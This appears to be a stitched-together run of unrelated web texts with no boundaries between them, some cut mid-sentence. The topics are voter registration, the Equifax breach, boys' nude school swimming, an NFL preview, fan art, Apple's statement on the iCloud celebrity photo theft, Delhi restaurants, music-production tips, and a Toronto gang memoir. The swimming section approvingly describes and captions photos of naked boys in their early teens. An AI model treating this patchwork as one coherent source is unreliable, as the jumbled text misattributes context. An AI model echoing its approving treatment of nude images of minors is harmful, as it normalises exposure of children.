Automatic voter registration would change that. In March 2015, Oregon became the first state to automatically register anyone who requests a driver’s license or state ID from the DMV unless they opt out, shifting voter registration responsibilities from the individual to the state. The law takes effect next year, and Oregon estimates that 300,000 new people will be added to the rolls.
The California legislature passed a similar bill this month, which would help sign up 6.6 million unregistered voters. Governor Jerry Brown has 30 days to sign or veto it. Brown has not taken a position on the legislation yet, but endorsed automatic voter registration in 1992. “Every citizen in America should have not only the right but the real opportunity to vote,” he said at the Democratic National Convention in 1992. “And it’s the responsibility of government to ensure that by registering every American…. They know how to get our taxes—why don’t they get our votes, and the votes of everyone in this country?”
Automatic voter registration in California would lead to “the single largest voter registration drive in American history,” says California Secretary of State Alex Padilla. Not every unregistered Californian will be instantly signed up, but “it will only be a few years before a big majority of that group is captured,” Padilla says.
The effort to make it easier to register has real momentum. In 2010, 17 states had electronic voter registration and 6 had online voter registration, according to the Brennan Center for Justice. Five years later, 27 states have adopted electronic registration and 24 offer online registration. “There’s tremendous movement on this,” says Myrna Perez of the Brennan Center. THE NATION IS READER FUNDED. YOUR SUPPORT IS VITAL TO OUR WORK. DONATE NOW!
But it’s also true that too many states are still making it difficult to participate in the political process, by requiring proof of citizenship to register to vote, eliminating same-day voter registration, hindering voter registration drives, and failing to comply with the NVRA.
By pushing automatic registration, “we’re reshaping the discussion about voting rights,” Padilla says. “It’s not just about being on defense but going on offense by making it easier for people to cast ballots.”
Voter registration laws have historically been used to exclude people from the democratic process. “There’s a lot of other rights that we don’t have to opt into—freedom of speech, freedom of assembly, freedom from discrimination,” Padilla says. The right to vote should have the same universal protection.Today was a terrible day for the 143 million consumers impacted by the Equifax data breach. Many of these folks had Social Security numbers, birth dates, addresses and driver’s license numbers compromised. And the credit card information for hundreds of thousands more was put at risk. Though it was uncovered by the company a little over a month ago, Equifax held off from announcing the extent of the damage until today.
Unfortunately, even with a month of preparation, the post-leak experience for worried consumers was less than ideal. When folks rushed to the site Equifax dedicated to handling inquiries, they were met with nothing more than essentially an ad for Equifax’s own credit monitoring service. And to make matters worse, the service itself isn’t actually even available today as of this time.
One of our writers even went as far as to call Equifax three times to find out if any of her information was leaked. After waiting each time, every call ended in a disconnect.700 gun locks will be given away in Albuquerque Friday
Crime Stoppers has partnered with Albuquerque police to |
allowed boys to compete naked just as they practiced swimming naked. But as swimming competitions became more popular there was concern that the boys should not swim naked in front of a mixed audience. Did women — mothers, sisters, even classmates — attend events at which boys competed naked? This is much debated. I found an article on internet sites that was purportedly clipped from the “Wisconsin Press” for November 11, 1952. It reports that females were beginning to attend the boys swim meets and the board of education made adjustments in the usual practice of nude swimming by allowing boys to wear suits (although not yet requiring them). However, further research suggests that this article is a fake. It is not found where it claims to be found—the Sheboygan Wisconsin Press November 11, 1952. I leave it in place here as a warning of the pitfalls of researching this topic on the internet. “Fake news” is not a new phenomenon.
Fig. 46
There are some photos on the internet of naked boys and suited girls participating in swimming competitions. That would not have happened in high school meets. Young men swam naked in colleges and universities, just as they did in high schools, YMCAs, and health clubs, and for the same reasons. But were there official co-ed swimming competitions with men’s teams and women’s teams jointly participating, as this photo suggests? Probably not. So is this photo reliable?
Fig. 47
Nevertheless it is likely that co-ed swimming took place in some colleges in which the young women were naked as well as the young men. There were scenes of co-ed naked swimming lessons in the 1973 film The Harrod Experiment, based on the novel of that title by Robert H. Rimmer and starring Don Johnson and Victoria Thompson, in which a small liberal arts college experimented with young men and women living together, sharing dorm rooms, and having opportunities to be naked with each other in classes.
Fig. 48
The book and movie were not so far-fetched in terms of collegiate experiments in co-ed living during the 1970s. In some colleges men and women lived in the same dorms, shared bathrooms and showers, and had nude co-ed swims. Weekly nude co-ed swimming was practiced at Antioch College in Yellow Springs, Ohio as well as at Adams House at Harvard, which had a magnificent indoor pool. So in some college and university situations women’s liberation did not mean suiting the boys but unsuiting the girls.
However, swimming competitions on the Olympic level, both nationally and internationally, required suits on both men and women. This example of boys’ pre-speedo swimming briefs is just a notch above swimming in underwear.
Fig. 49
The End of Boys Swimming Naked
But back to everyday reality. Boys were increasingly required to wear bathing suits for competitions. At first this was probably just to make things even between teams, if some teams didn’t compete naked. But as mothers and sisters and female school mates began to attend, the question was undoubtedly raised as to whether the boys should swim naked in front of them. Some men say that they swam naked in swimming meets even with females present. There’s no evidence for this in newspaper articles or photos. But the growing practice of wearing swim suits for public competitions may have helped to challenge the rule of boys swimming naked in school and YMCA pools. If we can wear suits in competitions, why can’t we wear them in swim classes and practices? (In my high school boys wore swim suits in competitions in the 1950s-70s even though they swam naked in physical education classes.)
In the YMCA in particular, once women and girls were admitted into membership they had to be given equal access to the pool in the times in which children and youth could be in the Y facilities (after school, weekends, summers). The easiest scheduling arrangement was to have co-ed swimming classes and open swims for all members. This put pressure on the Ys to require the boys and men to wear swim suits. There was less pressure on the schools because they had the students all day, and boys and girls could have separate swim classes just as they had separate gym classes. Boys could continue to swim naked behind locked doors. But toward the late 1960s the debate in various communities about the wisdom of requiring the boys to swim nude in public schools sharpened. This newspaper article from the Janesville, WI Gazette in 1967 is typical of discussions going on elsewhere.
Fig. 50
(Left click on the image to be able to read the article.)
Interestingly, the issue was resolved in favor of continuing the tradition of nude swimming. In 1976 the superintendent was still defending the practice—but blamed it on the boys’ preference.
Fig. 51
Boys swimming naked in schools slowly came to an end in one community after another during the 1970s. But we see testimony in articles published in newspapers and magazines, old photos on google images, and discussion on internet blogs and forums (to the extent that these sources of information are reliable), that before ca. 1970 it was widely accepted and expected that boys would participate naked in PE swimming classes and sometimes even in competitions.
Benefits of Boys Swimming Naked
Did we derive any benefit from this practice of swimming naked in school? I can think of several benefits. I think the first and most important benefit was self-acceptance. I remember that our swimming teacher, Mr. Rudolf Heis, met with us at the beginning of the term and said, “You will be showering and swimming naked. You all have the same physical equipment and none of you has anything to be ashamed of.” I found this speech reassuring. Our bodies at that age (in the freshmen year we were between the ages of 13 and 15) were all at different stages of development. I think our naked swimming classes did a lot to compensate for whatever body shame some boys might have had inflicted on them by others. I think most boys accepted their own physical development without a lot of anxiety. But boys who had difficulty accepting their own bodily self-image may not have gotten over it by being required to swim naked. In fact, their sense of shame may have been aggravated.
The second benefit was socialization. Fourteen-year old freshmen boys were thrown into a year-long experience of being naked with other kids, most of whom were new to us in high school, and bonding naturally developed because we were going through a common experience. I think the practice actually had an initiatory quality. Swimming naked in freshman swimming class was like a rite of passage into high school, something every boy had to go through. We simply got used to being together naked and there was a lot of mutual acceptance. In fact, I think we became so used to being together this way that we didn’t even think about the fact that we were naked when we interacted physically, like playing water polo or just horsing around during free time. I remember wrestling in the water with my boyhood friend Gary (now deceased) in a game of trying to dunk the other.
M
Fig. 52. Naked boys horsing around in the shower
The third benefit was that nakedness was not identified with sexuality. I don’t recall any sexual overtones in swimming class. When you’re naked, what you see is what you get. Initial curiosity is quickly satisfied. (Nudity is how naked bodies are portrayed in films and magazines and works of art; nudity always leaves something for the imagination. That’s why I prefer the term “naked” to describe what we actually experienced.) Today nudity seems to be almost exclusively associated with sexuality.
There was clearly a differentiation of the genders back in the days when boys swan naked. Modesty was required of the girls but not of the boys. But with pressure for co-ed swimming the boys became suited too—sometimes with school-issued speedos that, like the girls’ lycra suits, were turned in after each swimming class so they wouldn’t be left wet in lockers to mildew. Boys I’ve talked to in recent years say these speedos don’t leave much to the imagination after repeated use. But they admit that the use of the long swim trunks that boys prefer on the beach today aren’t good for learning how to swim. I wonder what they would think about what we wore in the high school pool fifty years ago.
Fig. 53. Swim team in speedos
Social Norms
Body changes during puberty and adolescence affect our self-image, which is based primarily on our body image. One’s identity is also shaped by cultural upbringing and sense of social propriety. From an early age we are taught what is proper bodily behavior, and in a clothed society strict boundaries are set for public nakedness. These factors dictate how we should feel when a naked body is exposed. When and where is nakedness or nudity accepted and when and where is it considered a breaking of social norms? There may not have been any consistency in the norms.
For men of my vintage, nakedness was an acceptable social norm if boys were showering and swimming together in indoor pools, and it was OK to swim naked in secluded outdoors lakes and streams if girls weren’t around. By and large these venues for being naked with other males are closed off today. Lacking situations to counter the inculcated social norm that we should not be naked (i.e. show one’s “private parts”) in public, most boys today have acquired such a sense of modesty that they don’t even like to be naked in front of one another in locker rooms and showers. I notice in the YMCA locker room that young men and older youth do the “towel dance” to keep covered while changing clothes and leave their bathing suit on when they shower while the old guys walk around “butt naked.” These millennials had no experience of being naked in front of other men.
.
Fig. 54.
I’m sure the practice of men and boys swimming naked in public places is long gone. In my view, it was good while it lasted, for the reasons I’ve given. But I also recognize that there are issues to deal with today that weren’t dealt with back in my day, like concerns about sexual harassment, spy cameras in various places around the school (including the locker rooms), and now how to handle transgendered boys and girls.
Nevertheless, I’ve found that there is a lot of curiosity about this custom of boys and men swimming naked in schools and the YMCA fifty-plus years ago. Readers are welcome to post your own experiences of swimming naked in the comments section below. While this has been mostly a male-oriented post since it’s the boys who swam naked in school, female readers are invited to share their experiences and observations. The reactions of millennials and the younger generations to this social history are also welcome.
Frank Senn
APPENDIX: Boys Will Swim Nude
Here’s a sampling of hundreds of newspaper clippings from throughout the U.S. and Canada about boys swimming naked—either in city parks, where it was illegal, or in schools, where the practice was being contested.
Fig. 55
Boys shed their clothes and went swimming in a pond in Forest Park in St. Louis and were chased by police down Lindell Boulevard (Shelby County Herald June 26, 1907).
Fig. 56
On the day school let out for summer vacation fifty boys shed their clothes and went swimming in a lake in New York City’s Central Park. Six were nabbed by police and arrested for delinquency (Reading Times, June 26, 1926).
Fig. 57
While police in the U.S. and constables in Canada continued to harass boys swimming naked in urban areas, a Canadian magistrate in Ottawa threw out a police complaint of boys swimming naked in an abandoned quarry, with editorial approval in the Montreal Star.
Fig. 58
A letter writer to Star-Journal defends the tradition of nude swimming in the junior high school in Sandusky, Ohio.
Fig. 59
A student letter to the editor defends nude swimming at a Kenosha, Wisconsin high school.
Fig. 60
The following headline is totally misleading. The story says that 10% of students chose to wear trunks when given an opportunity to decide. The real news is that 90% chose to continue swimming nude. So in actuality nude swimming continued in Cloquet High School.
Fig. 61
Fig. 62. 1930s/40s photo print on canvas
About the Comments
For previous comments before the ones posted below go to “Frank Answers About Naked Swimming — Commentary Part I: Discerning the Truth,” which is a curated anthology of comments illustrated with images and photos. The first pingback at the end of these comments will take you directly to the second commentary article, “Frank Answers About Naked Swimming — Commentary Part II: Experiencing Nudity”, which is also illustrated with images and photos that I added because of the number of continuing comments. The second pingback at the end of the comments takes you to a blog article about swimming naked especially outdoors. The author argues that most boys want experiences of social nudity with other boys and that a major reason why the practice of naked swimming ceased in the 1970s was because of homophobia.
Frank SennAfter a tougher than it should have been win over the Philadelphia Eagles, the Green Bay Packers face the Buffalo Bills this Sunday to kick off their slate of home games at Lambeau Field this season.
One week of games is not enough time to cause any NFL team to press the panic button, but we still got some early indications of how this season will pan out for the Green Bay Packers.
If you are looking for a team that is the polar opposite of the Eagles, the Buffalo Bills are that team. The Bills have not made the playoffs since 2000. They drafted another franchise RB after their last one failed to pan out which also includes some questionable off the field decisions.
After coming oh so close to beating the Miami Dolphins last week, the Bills enter this game thinking they are not quite as bad as everyone thought they might be. Thus, they could sneak up on the Packers and upset them at home. The Packers, in turn, sometimes have issues with games like these and I don’t need to remind any fans about what happened in Tampa Bay last year.
Despite it being only the second game of the season, this game cannot be overlooked for its importance by the Packers. By handily defeating the seemingly hapless Bills at home, the Green and Gold will exorcise any demons remaining from that brutal defeat to the then-winless Buccaneers last season.
Breaking down the Bills
The Bills offense seems to be as sluggish as the Packers offense is explosive. Quarterback Trent Edwards won the starting position by default and has shown little ability to be a franchise quarterback since his supposed “breakout” season a few years ago. Wide receiver and former Wisconsin star Lee Evans is the lone bright spot on the Bills offense.
That said, there is hope for the future. Rookie RB C.J. Spiller comes out of college highly touted and could be a big contributor this year if the shaky offensive line holds up for the Bills. Don’t underestimate Fred Jackson either. He has shown great explosiveness and could give the Packers fits in certain situations.
On defense, the Bills dumped their best player (Aaron Schobel) overboard this offseason, once again placing this unit into solid rebuilding mode. The scariest player in their secondary would have to be second year safety Jarius Byrd who had nine interceptions last year and was selected to the Pro Bowl as a reserve.
With Buffalo having a weak defensive line, this is the perfect time for new starting Packers RB Brandon Jackson to get his feet under him for the rest of the season.
When the Packers have the ball….
Look for the Packers to try and avoid Byrd. That shouldn’t dampen the Packers offense too much as they have too many weapons and the Bills have no way of shutting them all down. Aaron Rodgers will have a much better performance than he had against the Eagles and the Packer offense will begin to show some of the promise that it displayed during the preseason.
The Bills likely will bring pressure as the Packers offensive line showed some signs of weakness early on last week against the Eagles, before getting it together in the second half. Jackson is much better in pass protection than Ryan Grant, so look for him to help keep the pressure off of Rodgers.
When the Bills have the ball….
Linebacker Clay Matthews will give the Bills fits. He has the burst necessary to contain Spiller yet also has the ability to throw Evans off his route in coverage. If Matthews was able to have that much success against the Eagles, he should have a field day against the Bills.
The Bills will likely try and establish the run early. Should Spiller falter, look for Fred Jackson to see an increased load. Don’t rule out an air war either. With Al Harris and Atari Bigby being out, Edwards may try to take advantage of rookies Morgan Burnett and Sam Shields.
The good news? Trent Edwards is NOT Michael Vick.
Three keys to the game:
1. How will Brandon Jackson perform?
This is the obvious main concern for the Packers. Losing Grant for the season is a big blow, but the Packers seem to be deep enough to recover from it. Jackson settled into his third down role rather nicely, but now he (and the rest of us) gets a chance to see if he can be “the guy.”
2. Will A.J. Hawk be a distraction?
Despite all of the trade rumors, Hawk will likely be a Packer this Sunday and inserted into the starting lineup. Since he plays in the base package, he will see a fair amount of playing time this week. However, Hawk’s comments to the media this week raised more than one eyebrow for a lot of people. He’d rather be traded than be a part-time player, and his performance this week will speak volumes about where his head is at.
3. Will the Packers O-Line hold up?
It seems like a broken record, but with a very shaky start to the game last week the same questions about the Packers offensive line that dogged the team in 2009 are once again popping up this season. It will take a lot more than a solid performance against a weak Bills pass rush to convince skeptical fans.
Prediction: Packers 34, Bills 17
Anything less than a 10 point victory over the Bills will be disappointing. While a win is a win in the NFL, this is the chance for the Packers to flex their muscles. Game three for the Packers will be the Bears on Monday Night. They need to show in the Bills game that they will not falter in trap games like they did against the Buccaneers last year.
Lambeau will be rocking and so will the Packers.
——————
Kris Burke is a sports writer covering the Green Bay Packers for AllGreenBayPackers.com and WTMJ in Milwaukee. He is a member of the Pro Football Writers of America (PFWA) and his work has been linked to by sites such as National Football Post and CBSSports.com. Follow @KrisLBurke
——————THE DARK KNIGHT RISES IN ART by Martin M. Rocha
WHEN GOTHAM IS ASHES YOU HAVE MY PERMISSION TO DIE!! One of the biggest anticipated movies of the year!! THE DARK KNIGHT RISES!! Just by watching the 3rd trailer it pumps up your adrenaline!! Inspirational and powerful as it is on film and in art; it caught my attention to draw Bane!! Yes!! He is the villain that catches your eye on this one. A STORM IS COMING!!
The question is : Will Bane rise higher than The Joker? Many fans are eager to see where Chris Nolan took this one. So far he’s done no wrong!! He has acquired a level of success as he took the Batman character to a new level and gave it a dark twist.
And a dark twist than my Joker drawing I took this character!! Step by step and driving with pure motivation and passion I completed one of my darkest drawings. Completed with heart, took it to the next step and reached a level that I feel would attract many art aficionados. If you would like to see it, come on August 18th and 19th to the Lincolnshire Art Fair in Illinois. I will be displaying some of my best work. Who knows; maybe you will have the opportunity to have a print for yourself!! Come and see and say hello!! martinmrochaart@gmail.com.
AdvertisementsApple says that the mass theft of nude celebrity photos that were released over the weekend did not occur because of a breach in any Apple systems, including iCloud. Apple says, however, that certain celebrities were the subject of targeted hacking attempts that focused on compromising their usernames, passwords, and security questions — a common and well-tread technique across the web. Though Apple's statement doesn't make it entirely clear, it sounds as though iCloud may still have been involved in the thefts in some capacity: that is, Apple's customers may have had their iCloud usernames and passwords stolen, giving another party access to their account.
"We were outraged and immediately mobilized Apple’s engineers."
Apple also says that Find my iPhone was not involved in the photo thefts. There had been some speculation that this service was at fault, as someone had recently discovered and published a flaw in it that allowed a malicious party to continually guess passwords without any recourse. Apple appeared to have patched the issue shortly thereafter, and its statement implies that this Find my iPhone flaw was not used here. That said, Apple's statement also does not make it perfectly clear that this flaw was not put to use. Apple did not immediately respond to a request for clarification on the matter.
iCloud was immediately pointed to as a potential source of the stolen photos, particularly by anonymous commenters on 4chan who claimed to have some knowledge of their theft. At the very least, it was a reasonable guess: most of the photos are reported to have been taken on iPhones, and photos are often automatically backed up into Apple's cloud. This may still be part of the reason that these photos were available to be stolen, as iPhone owners may not always realize that their pictures are being backed up.
The cache of images began circulating on Sunday night and is said to include nude or partially nude photos of Jennifer Lawrence, Kirsten Dunst, and Kate Upton, among dozens of others. Several of these photos have been confirmed as genuine, while several others have been written off as fake. It remains unclear whether the theft was the product of a single hacker or a ring of hackers, as has occasionally been speculated, nor is it clear exactly when or over what period of time these pictures were stolen.
Apple is now attempting to distance its service from any fault in the hacks. In its statement, Apple says that it is "outraged" by the theft and has spent 40 hours investigating it, having immediately put engineers to work after hearing news. It'll be important for Apple to keep its customers comfortable with using iCloud, particularly because of some upcoming services it's said to have planned for the very near future. Apple is reported to be just a week away from announcing a mobile payments service, which would store credit cards, and a health-tracking wearable — both of which will require significant security.
The FBI has said that it is currently "addressing" the stolen photos, and Apple says that it's working with law enforcement on identifying culprits. Apple's full statement can be read below.0 Flares Twitter 0 Facebook 0 Google+ 0 StumbleUpon 0 LinkedIn 0 Reddit 0 Buffer 0 Pin It Share 0 Email -- Filament.io 0 Flares ×
Delhi the capital of India has amazing number of attractions to keep the tourists occupied for days. But besides attractions and shopping, the city is also known for its delicacies and flavors. Delhi offers international dining experience to the connoisseurs and has got the best of restaurants to cater to the taste of gourmets. Here is a list of top five restaurants of Delhi for tourists taking flights to the city. Take a look!
• Wasabi by Morimoto
This top notch Japanese restaurant is housed within the premises of Taj, the five star property. Legendary Chef Masaharu Morimoto, known to many as the Iron Chef creates a magical taste in the delicacies that is hard to forget. The traditional delicacies like Tempura, Teppanyaki and Sushi are transformed into new delights with the use of fresh cooking methods and contemporary sauces. The interiors are done up in spectacular colors that make an instant appeal and add to the appetite of the guests. Due to the fantastic quality of its food, great ambience Wasabi by Morimoto ranks amongst the top restaurants of Delhi.
• China Kitchen
China Kitchen is one of the top restaurants in Delhi and one of the best places in Delhi to enjoy the authentic Chinese food. It is the only restaurant in Delhi that serves the most famous delicacy of china – Peking Duck. This extremely popular Chinese delight is cooked and served in a traditional Chinese manner and is absolutely delicious. Everything at the Chinese restaurant is of Chinese origin – the chefs, the ingredients used, delicacies served, the artefacts decorating the restaurant and also the name of its five private dining rooms.
• Le Circue
Le Circue is another name in the list of top five restaurants in Delhi. Housed within the five star, Leela Palace Hotel, the restaurant offers heavenly delights and impeccable service! Spread over vast area, Le Circue boasts of wine cellar, a bar, VIP private dining and conference rooms, There is also al-freso option to enjoy your meals out in a great weather. For Italian and French cuisine in Delhi, Le Circue is a top choice in the city. The place is quite popular among elite class of Delhi for get-togethers.
• Dum Pukht
Dum Pukt in ITC Maurya is another option that occupy high rank and comes among the top five restaurants of Delhi. The first thing that will catch your fancy at this fine dining restaurant is is exciting interiors done up with mirror work on the arches and walls. The must try delights at this venue are the scrumptious biryanis and Kakori that is the finest in NCR. Many new delicacies have come up in the menu that is drawing the interest of gourmets all over the city. Also give a try to Kham Khatai and Maash Qaliyai and you would be definitely satisfied.
• Diva the Italian Kitchen
As the name suggests, the restaurant serves Italian delicacies that have heavenly taste, the reason Diva the Italian Kitchen has been named among the top five restaurants in Delhi. The wood fried pizza oven that makes crispiest pizzas in the town. The venue has an award winning wine list and the restaurant menu changes every season. The famous food that you should try here include Spinach Ravioli filled with roasted pumpkin and parmesan tossed with butter, almonds and roasted pistachio, and Pan-Roasted Duck Breast served with juice, thyme, cocoa, orange, potato stack and tossed with green beans wrapped with pancetta.You know the feeling when you listen to a well-produced electronic track: Everything about it seems to burst with energy, each of the elements twist and wrap organically around each another, giving the impression that the whole track is one big living and evolving ‘thing’.
But when you’re getting into producing electronic – that is, loop or grid-based music – it can be really difficult figuring out how to inject your own tracks with this sort of excitement and life-like energy. It seems on the surface like it’s just a matter of flicking from one repeated/looped section to another: but when you try lining up the blocks of programmed drums and synths in your DAW, the result just doesn’t have the kind of energy and sense of drama that you hoped for. Fortunately, there are loads of tricks for sustaining interest in loop-based music, disguising and blurring the various grids that you use to build your tracks on, and making them feel like living, breathing creations with a power all their own. None of these tips are very difficult to implement on their own: but try using as many of them as possible together, and you’ll find your finished tracks positively pulse with a new sense of urgent, organic dynamism. By the way all the tips and tricks on this list are in a sense examples of the 10 Principles Every Producer Must Know To Achieve The Pro Sound.
1. Non-Sync Delay & Reverb
Try turning off tempo-sync on your delay effects, and experimenting with longer reverb pre-delay times. Programming your spatial effects manually can introduce very subtle timing ‘discrepancies’ that are surprisingly effective for loosening up the groove and giving a subtly human feel to your electronic/programmed tracks.
2. Drop In Groovy Percussion Loops To Loosen Up The Main Beat
A classic trick, but it works. Percussion loops with a nice bit of organic shuffle laid behind your main kick and snare pattern can instantly transform an otherwise heavily quantized groove. I find that trying out many different percussion loops and perhaps taking the sounds of one loop, chopping them up and matching them to the pattern and placement of another loop, can also quickly spark lots of ideas developing a lively and more original rhythm track as I write.
3. Sample Grooves And Patterns From Your Favourite Tracks
Take your favourite drum loops and grooves and use them as templates for your own patterns. You can either do this using the features of your DAW – for example the Groove Quantize functions in Cubase – or you can simply line up your own MIDI (or audio) hits manually against the waveform of the loop on a neighbouring track in your DAW, and add in your own velocity information if necessary. This takes a bit of practice to sense where the real ‘beginning’ of some hits actually are (especially sounds with slower attacks like shakers), but once you’ve done it a few times and shuffled things backwards or forwards to taste you’ll find it pretty straightforward.
4. Program sampled instrument parts as if you were playing the real thing
Real instruments and players have physical limitations that it can be helpful to remember, in order either to give your programmed samples more realism, or simply so you don’t make your compositions too dense. To take a simple example, a drummer only has two hands (and two feet): so when he’s striking a crash cymbal at the beginning of a new phrase, he probably won’t also be striking the hihat, tom or other percussion at the same time. Incorporating little things like this can make a surprising difference to the natural ‘flow’ of programmed parts, even in electronic genres where strict realism isn’t always an issue.
5. Use Round-Robin Samples
In your sampler you can usually set a small pool of different samples to be selected from randomly every time the same, single note is triggered. These ‘round robin’ sample sets help you get around the problem of every single snare hit, for example, being exactly the same every time – even small differences (almost imperceptible when listened to in isolation) between the samples can have a profound effect on the final result, especially if you’re attempting to program dynamic fills and drum rolls.
6. Keep It Real: Don’t Just Loop Short Programmed Sections, Make Variations
While percussion parts in electronic music are almost always looped, that doesn’t mean you have to use the same short loops throughout the whole track. Don’t simply record a one- or two-bar part and then repeat it throughout the entire track: Even if you want to have the same drum pattern all the way through, try recording it several times and mix up the different versions. Each version you create will have slightly different dynamics and timing variations, and the variety will help to reproduce the more ‘alive’ feel of a real drum track with some subtle dynamic changes.
7. Make Drum And Percussion Sounds Interact
Mute/choke groups are usually for programming realistic drum or percussion parts: for example, ‘choking’ (i.e. stopping) an open hi-hat if the closed hat is played immediately after. However, you can also use this feature for some more unnatural but similarly dynamic interaction between your electronic drums and percussion. It’s a bit like sidechain compression, helping to gel the different elements together – the more the parts of your arrangement interact, the more alive and involving it will appear to your listeners.
8. Construct Melodies Using Counterpoint
Listen to your favourite tracks, from any genre, and you might be surprised how simple any single part is. Usually the magic happens because of the interplay between parts and instruments. The sum of all the different parts interacting creates whole new musical phrases. This is counterpoint. Try keeping your individual synth or drum parts simple, and instead of making complex melodies with a single instrument, consider how breaking it up and voicing different elements of the musical phrase over several instruments or sounds makes it sound more fluid, engaging and… yes, alive.
9. Rhythmic Syncopation – Push And Pull The Beat And The Bass
Maybe syncopation can be considered as something like counterpoint for drums and percussion. Always think carefully about the interplay between your rhythmic elements – in dance music this is doubly important, as an interesting and dynamic groove is everything. With 4/4 club beats the interest is usually created by highlighting various divisions of the bar around the heavy, constant and metronomic kick and snare. To get some bounce and life into your dance beats, program percussion hits to syncopate – contrast – with the main, straight-ahead rhythm. These off-beat hits can be further enhanced by shuffling them manually forwards or backwards in small increments (see Groove Quantizing above). This is also a major secret to the ‘driving’ rhythm underpinning all electronic dance music – try pushing or pulling either the drums or the bass ahead or behind each other and you’ll create an immediate sense of delicious tension and ‘emergency’.
10. Get solo players to play over synthesized parts for surprising realism
A trick often used by film and orchestral composers on a budget is to use sample libraries for the large orchestral parts, but to have session musicians (or themselves) play a live solo instrument over the top. This can be very effective in convincing listeners that the entire thing is a real performance. Of course, we can apply the same methods to programming synth and electronic parts too: adding a layer of live ‘performance’ – a synth phrase or a manually automated filter, for example – to a section of fairly rigidly programmed synths and pads can liven the entire sequence up massively.
11. Tease The Listener – With-Holding Elements To Build Anticipation
Build a Compelling Structure and Arrangement: Making A Track Is Like Telling A Story You need to begin and develop a track with just enough excitement to grab your listeners attention, but not so much that you leave yourself with nowhere to build to as the track progresses. Remember you have the rest of the track over which to space out the stunning moments, effects and hooks, so don’t pile it all up in the first section. Gradually opening filters on synth parts over a 4-, 8- or 16-bar phrase is a great way of teasingly introducing new sections. I sometimes think of my hooks, effects and really impressive parts of a track as currency: I want to spend them wisely, and only at the points in the track when I’ll have maximum bang for my buck – that is, maximum impact on the listener.
12. Learn The Psycho-Acoustic Effects Of Different Frequencies
There is an interesting relationship between the perceived level of excitement in a track at a given moment, and how many/which sections of the frequency spectrum are being filled. Consider what happens on a dancefloor when the bass and drums are dropped out, leaving just a soaring lead synth: people stop dancing and instinctively put their hands in the air. They just know it’s a breakdown. Conversely, if you strip everything back to just a driving bassline and simple drum pattern, dancers will tend to hook into the groove and concentrate on their footwork. Mix up your arrangements by emphasizing – and just as significantly, dropping out or de-emphasizing – different parts of the frequency spectrum in different sections.
13. Master Loud/Quiet Dynamics
There doesn’t have to be any relation between the level at which an element is played back in your mix compared with how loud the original sound was recorded. This simple aspect of recording and mixing opens up all kinds of sound design possibilities that can add excitement to your tracks. For example, you could record someone really screaming out a chorus at the top of their voice, and then mix it quite low and distant-sounding in the context of the complete mix. It will still sound like it’s being belted out, but because it’s much quieter in relation to the other elements, you’ve created a lot more depth and interest in your mix. Similarly, if you record a whisper and turn it up really loud, it will still sound like a whisper – just a very intense one, giving the impression of great intimacy between the music and the listener. Of course this technique can be applied to any instrument or effect, not just vocals, and it’s almost guaranteed to increase a feeling of straining tension or great atmosphere within the track – listen to any Massive Attack album for some great examples.
14. Listen, Listen, Listen: Analyse & Deconstruct Your Favourite Tracks
This is one tip I come back to time and again. There’s absolutely no substitute for experience, so be sure to analyse the arrangements of all your favourite tracks. Listen to what other producers have done and try to figure out why it works (or why it doesn’t work, as the case may be…). The more you listen, the better you’ll get at picking out the oh-so-important minor details. You can get into massive depth here: bring an mp3 of the track into your DAW, chop or add markers at the beginnings of each new section; note which elements appear in which section, and eventually you can build a picture of how the producers arrange window would have looked. If you’re really anal about it like me, you can actually make dummy parts, colour-coded, each on their own channel, to represent each part that you hear in your analysis track. I have found this massively helpful for really tearing apart the components of my favourite tracks and seeing what makes them tick. In fact it is like taking apart a precision clock, seeing how all the cogs and gears fit together.
15. Cross-Pollenation: Listen Beyond Your Own Genre
Look much further than your own chosen genre for inspiration. The best Pro Sound Producers are Musicologists – they don’t distinguish between good and bad styles or genres, only good and bad music. Also, if you’re writing songs rather than club/dance tracks, study the structures used in electronic and loop-based music for some habit-breaking inspiration. And vice versa: if you’re used to making very grid-based music, listen to classical music and rock or pop for the structural idiosyncrasies that impart them with real human interest and excitement – for example, I noticed that it’s surprising how many odd bars or extra beats you can incorporate into what sounds like very grid-like system music, after noticing how in rock and metal they often make unexpected stops, starts and pauses for extra excitement and anticipation. Keep listeners on their toes, surprise them, and they’ll remain engaged. There’s A Lot To Be Learned From Classical Music. It’s hard to specify any one thing that you’ll pick up |
where everyone went after school. I saw a few guys from my class, and when they asked me if I wanted to hang out, I said yes. One guy socked me hard in the nose—and then everyone joined in. They didn’t stop kicking and punching me until I was crying on the ground. Suddenly, everything was fine, and we were back to doing kid stuff. I didn’t realize it at the time, but it was an initiation into the crew.
BOYHOOD The author’s family immigrated to Canada from Lagos, Nigeria, in 1987. Mosunmola and Johnson are shown here with their children, Titi, Abi, Morayo and Segun (in his father’s arms). (Image: Courtesy of Segun Akinsanya)
A few months later, I noticed a man hanging around the neighbourhood. He was a tall, quiet guy—he seemed ancient to me then, but I realize now he was probably in his 20s. We called him Mr. T. He used to give us $5 here and there, or buy us a Big Mac for lunch. He was nice to us. He took care of us. So when he asked me to help him out one day, I jumped at the chance. He gave me and my friend a brown paper bag, and told us to stand outside a convenience store and hand it off to another guy. I didn’t look inside the bag, but I knew it was full of drugs.
We loitered outside the store, and the owner came out to shoo us away. I argued a bit, but eventually I left—and went straight to Mr. T to tell him what happened. He walked back with us to the store and told us to wait outside. Then I watched him go inside and bash the owner’s head on the counter casually, like it was nothing. After a few minutes, the owner came out and apologized to us. It was like magic. One second we were nobody, and the next we had the power. A few weeks later, a bunch of friends and I were caught stealing some yo-yos from another corner store, and the cops brought me home. My dad was so disappointed. Neither of us knew then that it would turn out to be the first of many times I’d end up in the back of a police cruiser.
Cops always talk about getting young black men off the streets. Stopping us before we take that first step. But they have it wrong. Nobody takes a first step into gang activity. Toronto police use the term “gang” to describe anything from four boys playing dice on the corner to a full-fledged Hells Angels crew. I don’t like the word. What they’re really referring to is a group of people banding together—opportunists without opportunities. There are an estimated 6,000 kids involved in gang activity in the GTA, but these groups are a lot smaller than many people think. And they’re not organized into intricate hierarchies like you see on TV. Most of them are based on where people live, particularly in low-income neighbourhoods or community housing complexes. Lots of these crews don’t even think of themselves as gangs—they’re just a bunch of guys trying to get by.
